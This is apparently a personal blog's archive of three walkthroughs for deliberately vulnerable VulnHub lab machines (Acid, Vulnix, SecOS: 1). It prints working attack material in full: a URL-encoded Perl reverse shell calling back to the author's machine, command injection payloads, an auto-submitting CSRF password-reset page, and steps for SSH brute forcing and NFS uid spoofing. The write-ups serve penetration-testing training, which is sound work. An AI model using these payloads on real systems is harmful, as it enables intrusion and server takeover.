Wednesday, 27 January 2016

Walkthrough Acid server



Mission : Get the root flag on `Acid` which is a deliberately vulnerable virtual machine hosted at https://www.vulnhub.com/. The virtual machine can be downloaded at https://www.vulnhub.com/entry/acid-server,125/. I quickly loaded up the virtual machine into my VMWare Player and i was good to go !

Detailed Steps for getting root:

A nmap scan of the box reveals only one service running on a non default port. It seems that there is only this http service running on the box.

nmap -p 1-65500 -v -A 192.168.116.131
Starting Nmap 6.47 ( http://nmap.org ) at 2016-01-27 10:04 EST
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 10:04
Scanning 192.168.116.131 [1 port]
Completed ARP Ping Scan at 10:04, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:04
Completed Parallel DNS resolution of 1 host. at 10:04, 13.00s elapsed
Initiating SYN Stealth Scan at 10:04
Scanning 192.168.116.131 [65500 ports]
Discovered open port 33447/tcp on 192.168.116.131
Completed SYN Stealth Scan at 10:04, 1.03s elapsed (65500 total ports)
Initiating Service scan at 10:04
Scanning 1 service on 192.168.116.131
Completed Service scan at 10:04, 11.02s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 192.168.116.131
NSE: Script scanning 192.168.116.131.
Initiating NSE at 10:05
Completed NSE at 10:05, 0.08s elapsed
Nmap scan report for 192.168.116.131
Host is up (0.00059s latency).
Not shown: 65499 closed ports
PORT STATE SERVICE VERSION
33447/tcp open http Apache httpd 2.4.10 ((Ubuntu))
|_http-methods: GET HEAD POST OPTIONS
|_http-title: /Challenge
MAC Address: 00:0C:29:CF:6D:41 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Uptime guess: 0.293 days (since Wed Jan 27 03:03:41 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE
HOP RTT ADDRESS
1 0.59 ms 192.168.116.131
view raw gistfile1.txt hosted with ❤ by GitHub


Upon accessing the http service on the port 33447 we are presented with a "Welcome to the world of acid" webpage. 


Acid Page


Our first instinct it to always view the source code of the page to see if there is anything interesting and sure enough we are lucky as in this case we find a hidden comment - "643239334c6d70775a773d3d". It seems that its in hex . We convert hex to ascii to get "d293LmpwZw==" . The == sign at the end tells us that its base64 encoded. We are quickly able to decode the string as wow.jpg. ! Lets see if we can use this image later.

We also see that the page title is "/Challenge" which tells us that such a folder may exist on the webserver. When we visit the /Challenge folder on the webserver we see a login page prompting for an email address and password. We cant do much now so we use dirbuster against the webserver. Our dirbuster tells us there are some interesting files and folders on the webserver. 


Dirbusting /Challenge directory

We also interact with the login page via the burp suite to understand better the way the form interacts with the backend webserver. We can see that the form converts the password into a hash using a api from the includes javascript files namely sha512.js and forms.js. We try to look into these files and see that these files are infact part of a php login system called "phpSecureLogin" https://github.com/peredurabefrog/phpSecureLogin. It seems that the project has been abandoned but we find that the github page (https://github.com/peredurabefrog/phpSecureLogin) lists default credentials (email : test@example.com Password: 6ZaxN2Vzm9NUJT2y ) built into the login system. We use it  and we are successfully able to bypass the login screen ! 


Login form showing the includes javascript files

Once we login we have a look at all the files that are listed by the dirbuster. When we view the cake.php we see that the page title changes to /Magic_Box hinting that there may be something with that name on the webserver. 



It seems that we dont have the permission to view the  /Challenge/Magic_Box directory but we run a dirbuster against it to see if it reveals anything. 


Dirbusting /Magic_Box directory

We are able to find a bunch on interesting files such as low.php, tails.php , command.php etc. It seems that command.php is a console that allows us to ping another IP. We suspect a command injection vulnerability here and hence besides providing a IP address we provide another command such as "id" with the assumption that the backend code will not sanitize the input and not limit execution to a single IP address command.


Command injection

Sure enough we can see that our code is being executed.



Once we can execute code on the server we attempt to get a reverse shell. We reference the reverse shell cheat sheet http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet and select the perl reverse shell after checking that nc though installed does not support the -e option. To be able to use the perl reverse shell we must url enocde it and also since the length of the IP address field is set to max 200 we need to intercept the request in burp before forwarding it to the webserver. 

URL encoder perl reverse shell : http://meyerweb.com/eric/tools/dencoder/
perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.116.128%22%3B%24p%3D4646%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27
view raw gistfile1.txt hosted with ❤ by GitHub


Burp intercept


Sure enough we get our low priv shell !

nc -lvnp 4646
listening on [any] 4646 ...
connect to [192.168.116.128] from (UNKNOWN) [192.168.116.131] 38795
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux
$
view raw gistfile1.txt hosted with ❤ by GitHub

Privilege Escalation : 
Escalating privileges on the box takes quite a long time. Once we have a low shell we peep into all the file present in the Challenge and Magic box directories. We see that the box is running a MySQL service and the file psl-config.php contains the database password. 

$ cat psl-config.php
<?php
define("HOST", "localhost"); // The host you want to connect to.
define("USER", "root"); // The database username.
define("PASSWORD", "mehak"); // The database password.
define("DATABASE", "secure_login"); // The database name.
view raw gistfile1.txt hosted with ❤ by GitHub


In the database we check the secure_login database to find a few users and their password hashes and password salts. We are able to crack the hashes ( saman & Vivek) but since the passwords are salted we wont be able to crack it. At this point we give up on the database. We slowly follow the priv escalation guide https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ till we finally see an interesting file on the box via enumerating all the files for the user acid and user Vivek on the box. 

$ find / -user acid 2>/dev/null
/sbin/raw_vs_isi/hint.pcapng
/bin/pwn_me
/bin/pwn_me/chkrootkit.lsm
/bin/pwn_me/chkrootkit
/bin/pwn_me/README.chkwtmp
/bin/pwn_me/ACKNOWLEDGMENTS
/bin/pwn_me/chkdirs.c
/bin/pwn_me/ifpromisc.c
/bin/pwn_me/Makefile
..................
...................
view raw gistfile1.txt hosted with ❤ by GitHub


The pcap file is interesting and we download it and open it in wireshark. We guess that we should look into the TCP communication captured on the network interface and hence set the wireshark filter to the same. Then we follow the TCP stream to see the data exchanged in the session. And sure enough we get our next clue.



Looking at the message we guess the user saman password. Also always check if the user is in the sudoers list. This gives us root !

www-data@acid:/sbin/raw_vs_isi$ su saman
su saman
Password: 1337hax0r
saman@acid:/sbin/raw_vs_isi$ id
id
uid=1001(saman) gid=1001(saman) groups=1001(saman)
saman@acid:/sbin/raw_vs_isi$ whoami
whoami
saman
saman@acid:~$
saman@acid:~$ sudo /bin/bash
sudo /bin/bash
[sudo] password for saman: 1337hax0r
root@acid:~#
root@acid:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@acid:~#
view raw gistfile1.txt hosted with ❤ by GitHub








Wednesday, 13 January 2016

Walkthrough Vulnix

Mission : Get the root flag on `Pipe` which is a deliberately vulnerable virtual machine hosted at https://www.vulnhub.com/. The virtual machine can be downloaded at https://www.vulnhub.com/entry/hacklab-vulnix,48/. I quickly loaded up the virtual machine into my VMWare Player and i was good to go !

Detailed Steps for getting root:

A nmap scan of the box reveals a number of services running on the box such as ssh, smtp, finger, pop3, imap , rlogin , rexec, rshell and nfs. 

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=vulnix
| Issuer: commonName=vulnix
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2012-09-02T16:40:12+00:00
| Not valid after: 2022-08-31T16:40:12+00:00
| MD5: 58e3 f1ac fef6 b6d1 744c 836f ba24 4f0a
|_SHA-1: 712f 69ba 8c54 32e5 711c 898b 55ab 0a83 44a0 420b
|_ssl-date: 2016-01-10T20:23:58+00:00; +8h00m00s from local time.
79/tcp open finger Linux fingerd
|_finger: No one logged on.
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: TOP CAPA RESP-CODES SASL UIDL STLS PIPELINING
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 33679/tcp mountd
| 100005 1,2,3 53650/udp mountd
| 100021 1,3,4 33225/tcp nlockmgr
| 100021 1,3,4 54495/udp nlockmgr
| 100024 1 47591/udp status
| 100024 1 51009/tcp status
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
143/tcp open imap Dovecot imapd
|_imap-capabilities: IDLE have ENABLE ID listed LOGIN-REFERRALS post-login more capabilities Pre-login OK LOGINDISABLEDA0001 STARTTLS SASL-IR LITERAL+ IMAP4rev1
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
993/tcp open ssl/imap Dovecot imapd
|_imap-capabilities: IDLE have ENABLE ID LOGIN-REFERRALS post-login more listed capabilities OK Pre-login IMAP4rev1 SASL-IR LITERAL+ AUTH=PLAINA0001
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Issuer: commonName=vulnix/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2012-09-02T16:40:22+00:00
| Not valid after: 2022-09-02T16:40:22+00:00
| MD5: 2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc
|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e
|_ssl-date: 2016-01-10T20:23:48+00:00; +8h00m01s from local time.
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: TOP CAPA RESP-CODES USER UIDL SASL(PLAIN) PIPELINING
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Issuer: commonName=vulnix/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2012-09-02T16:40:22+00:00
| Not valid after: 2022-09-02T16:40:22+00:00
| MD5: 2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc
|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e
|_ssl-date: 2016-01-10T20:23:48+00:00; +8h00m01s from local time.
2049/tcp open nfs 2-4 (RPC #100003)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 33679/tcp mountd
| 100005 1,2,3 53650/udp mountd
| 100021 1,3,4 33225/tcp nlockmgr
| 100021 1,3,4 54495/udp nlockmgr
| 100024 1 47591/udp status
| 100024 1 51009/tcp status
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
MAC Address: 00:0C:29:FA:14:AD (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Uptime guess: 198.841 days (since Thu Jun 25 12:13:22 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
view raw gistfile1.txt hosted with ❤ by GitHub

Our attention is drawn to a number of services which we would typically not see exposed such as finger, rlogin services and nfs.NFS protocol allows a user on a client system to access a folder on the network as if it were present locally. Poorly configured NFS services are known be exploitable.[ If we remember there is a exercise in Metaspoitable that deals excursively on attacking the NFS protocol for getting root]. Hence we go for this service and enumerate if we can mount a share locally. 








We see the the /home/vulnix directory  can be mounted and we mount it on our attacking box. However we are unable to see the contents of the directory as we keep getting a permission error. We get this error because we are root on our attacking machine and we are trying to access a non root owned directory on the target system. We guess that this is because the NFS /etc/exports file (https://www.centos.org/docs/5/html/Deployment_Guide-en-US/s1-nfs-server-config-exports.html may have the root_squash permission turned on which squashes the permissions of the root client to the lowest user to prevent unauthorized alteration by a client on the nfs shared directory. In order to view the contents in the mounted directory we need to acess the nfs drive as a user with the same uid and guid as the vulnix user on the target box. Since we dont know the uid and guid of the vulnix user we do some further enumeration on the box. 

We see that the smtp service is running of the box. There exisits a metasploit auxilliary module that helps us enumerate all the valid users accounts on the smtp server. We use this module as follows 

msf auxiliary(smtp_enum) > info
Name: SMTP User Enumeration Utility
Module: auxiliary/scanner/smtp/smtp_enum
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
==[ Alligator Security Team ]==
Heyder Andrade <heyder@alligatorteam.org>
nebulus
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 25 yes The target port
THREADS 1 yes The number of concurrent threads
UNIXONLY true yes Skip Microsoft bannered servers when testing unix users
USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt yes The file that contains a list of probable users accounts.
Description:
The SMTP service has two internal commands that allow the
enumeration of users: VRFY (confirming the names of valid users) and
EXPN (which reveals the actual address of users aliases and lists of
e-mail (mailing lists)). Through the implementation of these SMTP
commands can reveal a list of valid users.
References:
http://www.ietf.org/rfc/rfc2821.txt
http://www.osvdb.org/12551
http://cvedetails.com/cve/1999-0531/
msf auxiliary(smtp_enum) > set RHOSTS 192.168.116.129
RHOSTS => 192.168.116.129
msf auxiliary(smtp_enum) > run
[*] 192.168.116.129:25 Banner: 220 vulnix ESMTP Postfix (Ubuntu)
[+] 192.168.116.129:25 Users found: , backup, bin, daemon, games, gnats, irc, libuuid, list, lp, mail, man, messagebus, news, nobody, postmaster, proxy, sshd, sync, sys, syslog, user, uucp, www-data
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smtp_enum) >
view raw gistfile1.txt hosted with ❤ by GitHub


The module has identified a number of user accounts on the box. The `user` account catches our attention. We guess that accounts maye be reused and use the finger service to determine if its possible to login to this box via the `user` account. 

finger user@192.168.116.129
Login: user Name: user
Directory: /home/user Shell: /bin/bash
Last login Sun Jan 10 18:32 (GMT) on pts/1 from 192.168.116.128
No mail.
No Plan.
Login: dovenull Name: Dovecot login user
Directory: /nonexistent Shell: /bin/false
Never logged in.
No mail.
No Plan.
view raw gistfile1.txt hosted with ❤ by GitHub


Clearly an account called `user` can be used to login to the box. With no other information available we attempt to bruteforce the ssh service with this user account. After a few minutes we are able to bruteforce successfully ! ! The credentials for this account are user:letmein . Now we can login to the box as `user`. 



Once we login we see another user called vulnix. We take note of the uid and giud of this user (2008 in both case). We shall attempt to create a user with the same uid and guid on our client box. Hopefully this will solve out permissions problem and we will be able to elevate our priv to vulnix . 

user@vulnix:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
.....
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
statd:x:109:65534::/var/lib/nfs:/bin/false
user@vulnix:~$ cat /etc/group
root:x:0:
daemon:x:1:
.....
lpadmin:x:115:
sambashare:x:116:
vulnix:x:2008:
user@vulnix:~$
view raw gistfile1.txt hosted with ❤ by GitHub


Now on the attacking box we create a testuser with the same uid and guid .

id test
uid=2008(test) gid=2008(testers) groups=2008(testers)
view raw gistfile1.txt hosted with ❤ by GitHub

Now after we mount the /home/vulnix directory we no  longer see the permission problem !

Saturday, 9 January 2016

Walkthrough SecOS: 1

Mission : Get the root flag on `Pipe` which is a deliberately vulnerable virtual machine hosted at https://www.vulnhub.com/. The virtual machine can be downloaded at https://www.vulnhub.com/entry/secos-1,88/. I quickly loaded up the virtual machine into my VMWare Player and i was good to go !

Detailed Steps for getting root:

I ran a quick nmap scan to identify the Ip address of the Pipe VM. I use `host-only` networking for both my Pipe Vm and Kali box.

# arp-scan --localnet
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.28.1 00:50:56:c0:00:01 VMware, Inc.
192.168.28.138 00:0c:29:9a:5b:b1 VMware, Inc.
192.168.28.254 00:50:56:eb:e9:c7 VMware, Inc.
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.086 seconds (122.72 hosts/sec). 3 responded
view raw gistfile1.txt hosted with ❤ by GitHub

We identify the IP address of the new VM as 192.168.28.138. 

A nmap scan of the box shows that the box is running a http service on port 8081 and a ssh service on 22.

Host is up (0.00065s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh (protocol 2.0)
| ssh-hostkey:
| 1024 9b:d9:32:f5:1d:19:88:d3:e7:af:f0:4e:21:76:7a:c8 (DSA)
| 2048 90:b0:3d:99:ed:5b:1b:e1:d4:e6:b5:dd:e9:70:89:f5 (RSA)
|_ 256 78:2a:d9:e3:63:83:24:dc:2a:d4:f6:4a:ac:2c:70:5a (ECDSA)
8081/tcp open http Node.js (Express middleware)
|_http-methods: GET
|_http-title: Secure Web App
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port22-TCP:V=6.47%I=7%D=1/8%Time=56908E80%P=i686-pc-linux-gnu%r(NULL,27
SF:,"SSH-2\.0-OpenSSH_6\.6p1\x20Ubuntu-2ubuntu1\r\n");
MAC Address: 00:0C:29:9A:5B:B1 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Uptime guess: 198.048 days (since Wed Jun 24 23:28:37 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=251 (Good luck!)
IP ID Sequence Generation: All zeros
view raw gistfile1.txt hosted with ❤ by GitHub


We run nikto againts the webserver but dont find anything of much interest. We then dirbust the webserver which reveals a bunch of interesting directories that we should look into.



It seems that the vulnerable application allows us to create a user account and have a look at the various pages on the website. We see that among other things there seems to be 3 users on the box one of whom is the administrator. Also there is a way to send messages to the admin. 



We also see an About page that tells us that the site has been developed using Node.js and MangoDB. At this point we try the an authentication bypass seen in Node.js and MangoDB systems. A good discussion of it is here  : Hacking Node.js and MangoDB http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html: . It seems that the box is not vulnerable to this bypass. We begin to observer the webapp more closely and find that the login page source code has comment which is a hint. 




We have a look at the /hint page and its source code which reveals that we should launch a CSRF kinda attack on the administrator. 




The hint page tells us that the administrator will visit any site running on 127.0.0.1 if he is asked to do so. The hint is clear that we should feed a URL to the administrator to see. This can be done via the messaging feature of the webapp which allows us the send messages to the administrator. Relooking at the webapp we see that there is a feature to change the password. We decicde to trick the admin into changing his password to our specified one. For this we create a HTML page with hidden inputs and POST the data to the /change-password . 

<html>
<body>
<form name="changepass" method="post" action="http://127.0.0.1:8081/change-password">
<input type="hidden" name="username" value="spiderman">
<input type="hidden" name="password" value="abc123">
</form>
<script type="text/javascript">
document.changepass.submit();
</script>
</body>
</html>
view raw gistfile1.txt hosted with ❤ by GitHub


We know ask the admin to view this page by sending him a message . 


We hope that when the admin visits this page his password will get reset and we can login. Well after a few minutes we try logging in as admin and we see that our little trick has worked ! 

We login to the admins message board and see that he has a message from a user 'pirate` who claims to have cracked his password.



We try ssh'ing into the box with these credentials and we are immediately logged in  ! 

Once we login we see that there a bunch of interesting files in the users home directory. 

spiderman@SecOS-1:~/vnwa$ ls -lrt
total 44
-rw-rw-r-- 1 spiderman spiderman 559 May 4 2014 package.json
-rw-rw-r-- 1 spiderman spiderman 1070 May 4 2014 LICENSE
drwxrwxr-x 2 spiderman spiderman 4096 May 4 2014 views
drwxrwxr-x 6 spiderman spiderman 4096 May 4 2014 node_modules
drwxrwxr-x 4 spiderman spiderman 4096 May 4 2014 public
-rwxrwxr-x 1 spiderman spiderman 7772 May 4 2014 server.js
drwxrwxr-x 2 spiderman spiderman 4096 May 5 2014 lib
drwxrwxr-x 2 spiderman spiderman 4096 May 7 2014 scripts
-rwxrwxr-x 1 spiderman spiderman 1981 Jan 10 01:00 internalServer.js.2
-rw-rw-r-- 1 spiderman spiderman 0 Jan 10 01:22 headers
-rwxrwxr-x 1 spiderman spiderman 1981 Jan 10 01:29 internalServer.js
spiderman@SecOS-1:~/vnwa$ ls -l views/
total 64
-rw-rw-r-- 1 spiderman spiderman 591 May 4 2014 about.ejs
-rw-rw-r-- 1 spiderman spiderman 13861 May 4 2014 bootstrap.ejs
-rw-rw-r-- 1 spiderman spiderman 740 May 4 2014 change-password.ejs
-rw-rw-r-- 1 spiderman spiderman 18 May 4 2014 footer.ejs
-rw-rw-r-- 1 spiderman spiderman 2048 May 4 2014 header.ejs
-rw-rw-r-- 1 spiderman spiderman 548 May 4 2014 hint.ejs
-rw-rw-r-- 1 spiderman spiderman 498 May 4 2014 index.ejs
-rw-rw-r-- 1 spiderman spiderman 754 May 4 2014 login.ejs
-rw-rw-r-- 1 spiderman spiderman 690 May 4 2014 messages.ejs
-rw-rw-r-- 1 spiderman spiderman 2114 May 4 2014 ping.ejs
-rw-rw-r-- 1 spiderman spiderman 910 May 4 2014 send-message.ejs
-rw-rw-r-- 1 spiderman spiderman 697 May 4 2014 sign-up.ejs
-rw-rw-r-- 1 spiderman spiderman 646 May 4 2014 users.ejs
spiderman@SecOS-1:~/vnwa$
view raw gistfile1.txt hosted with ❤ by GitHub


If we do a quick directory listing 2 things stand out. i) There is an internalServer running as root on the box ii) there is a additional ping.ejs file which is not normally visible via the public facing web interface. 

We look at the contents of both the internerlServer and ping.ejs files.

<body role="document">
<!-- Fixed navbar -->
<div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
</button>
<a class="navbar-brand" href="/">Internal admin tools</a>
</div>
<div class="navbar-collapse collapse">
<ul class="nav navbar-nav">
</ul>
</div><!--/.nav-collapse -->
</div>
</div>
<div class="container">
<form class="form-signin" action="/" method="POST">
<h4 class="form-signin-heading">Enter the IP you want to ping</h4>
<input type="text" class="input-block-level" placeholder="127.0.0.1" name="ip"><br />
<button class="btn btn-large btn-primary" type="submit">Ping !</button>
</form>
<% if (typeof message != "undefined" && message != null && message != "") { %>
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Ping result</h3>
</div>
<div class="panel-body"><%= message %></div>
</div>
<% } %>
</div> <!-- /container -->
view raw gistfile1.txt hosted with ❤ by GitHub

It seems that besides the public facing webapp there is an additonal server running on the box on port 9000. This server provides a Ping capability for the admin to maybe ping other systems. When we look at the code for the ping service we see that the exec api is called with the user provided IP address without any input checks. We can inject code here as the application does not sanitize the input data. 

We can launch the command injection both via the web browser or the command line. Let see both approaches . 

a) Command line : We can use wget or curl to post data to the internal server and inject our code in the post request. 

wget --post-data="ip=1;id" localhost:9000
--2016-01-10 01:44:34-- http://localhost:9000/
Resolving localhost (localhost)... ::1, 127.0.0.1
Connecting to localhost (localhost)|::1|:9000... failed: Connection refused.
Connecting to localhost (localhost)|127.0.0.1|:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2048 (2.0K) [text/html]
.......
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Ping result</h3>
</div>
<div class="panel-body">uid=0(root) gid=0(root) groups=0(root)
</div>
</div>
</div> <!-- /container -->
view raw gistfile1.txt hosted with ❤ by GitHub


Here we send a post request with a ip address =1 and inject our 'id' command along with the request .

Similarly we can use curl to post data as well 

curl --data "ip=;ls -l ; cat /root/flag.txt" localhost:9000
....
.....
/div>
<div class="panel-body">total 77
drwxr-xr-x 2 root root 4096 Apr 25 2014 bin
drwxr-xr-x 4 root root 1024 Apr 25 2014 boot
drwxr-xr-x 15 root root 4100 Jan 10 00:40 dev
drwxr-xr-x 90 root root 4096 Jan 10 00:40 etc
drwxr-xr-x 4 root root 4096 Apr 25 2014 home
lrwxrwxrwx 1 root root 33 Apr 25 2014 initrd.img -&gt; boot/initrd.img-3.13.0-24-generic
drwxr-xr-x 21 root root 4096 Apr 25 2014 lib
drwx------ 2 root root 16384 Apr 25 2014 lost+found
drwxr-xr-x 3 root root 4096 Apr 25 2014 media
drwxr-xr-x 2 root root 4096 Apr 11 2014 mnt
drwxr-xr-x 4 root root 4096 Apr 25 2014 opt
dr-xr-xr-x 312 root root 0 Jan 10 00:40 proc
drwx------ 2 root root 4096 May 5 2014 root
drwxr-xr-x 18 root root 640 Jan 10 00:41 run
drwxr-xr-x 2 root root 12288 Apr 25 2014 sbin
drwxr-xr-x 2 root root 4096 Apr 16 2014 srv
dr-xr-xr-x 13 root root 0 Jan 10 00:40 sys
drwxrwxrwt 2 root root 4096 Jan 10 01:42 tmp
drwxr-xr-x 10 root root 4096 Apr 25 2014 usr
drwxr-xr-x 12 root root 4096 Apr 25 2014 var
lrwxrwxrwx 1 root root 30 Apr 25 2014 vmlinuz -&gt; boot/vmlinuz-3.13.0-24-generic
Hey,
Congrats, you did it !
The flag for this first (VM) is: MickeyMustNotDie.
Keep this flag because it will be needed for the next VM.
If you liked the Web application, the code is available on Github.
(https://github.com/PaulSec/VNWA)
There should be more VMs to come in the next few weeks/months.
Twitter: @PaulWebSec
GitHub : PaulSec
</div>
</div>
</div> <!-- /container -->
</body>
</html>
view raw gistfile1.txt hosted with ❤ by GitHub


b) Web browser : In order to be able to see the internal webapp on our attacking machine we use a ssh reverse port forwarding technique using the ssh -L parameter. Via this method we make the port 9000 of our victim machine available on our kali machine at port 4545. 

ssh -L 4545:127.0.0.1:9000 spiderman@192.168.28.138
spiderman@192.168.28.138's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic i686)
* Documentation: https://help.ubuntu.com/
...
...
view raw gistfile1.txt hosted with ❤ by GitHub


Now we can access the port 9000 of the inernal web application